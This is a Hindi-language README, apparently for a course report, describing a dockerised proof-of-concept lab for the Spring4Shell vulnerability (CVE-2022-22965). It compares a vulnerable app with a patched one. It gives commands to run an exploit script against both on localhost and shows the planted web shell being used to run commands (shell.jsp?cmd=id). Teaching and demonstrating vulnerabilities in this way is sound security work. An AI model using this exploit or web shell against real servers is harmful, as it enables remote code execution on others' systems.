
CVE-2022-22965 proof of concept for CS4239 report
CVE-2022-22965 (Spring4Shell) के लिए अवधारणा का प्रमाण, CS4239 G410 रिपोर्ट के लिए। इस PoC से अनुकूलित किया गया है, जो असुरक्षित और पैच किए गए व्यवहार को प्रदर्शित करता है।
इस रिपोर्टरी में एक समान स्रोत कोड वाले 2 उदाहरण प्रोग्राम (डॉकरीकृत) हैं। एक Spring Boot के असुरक्षित संस्करण का उपयोग करता है जबकि दूसरा पैच किए गए संस्करण का। Tomcat ने भी इस भेद्यता के लिए एक पैच जारी किया, लेकिन इस डेमो के लिए Spring पैच के प्रभावों को अलग करने के लिए Tomcat का वही असुरक्षित संस्करण उपयोग किया गया है।
डेमो ऐप चलाने के लिए:
docker compose build
docker compose up
एक्सप्लॉइट चलाने के लिए:
# असुरक्षित
python exploit.py --url "http://localhost:8080/helloworld/greeting"
# पैच किया गया
python exploit.py --url "http://localhost:8081/helloworld/greeting"
यदि एक्सप्लॉइट काम करता है, तो एक नया पृष्ठ दिखाई देगा जो हमें कमांड चलाने की अनुमति देता है। id चलाने का उदाहरण:
http://localhost:8080/shell.jsp?cmd=id
एक्सप्लॉइट पैच किए गए संस्करण के लिए काम नहीं करता है - shell.jsp इंजेक्ट नहीं किया गया है।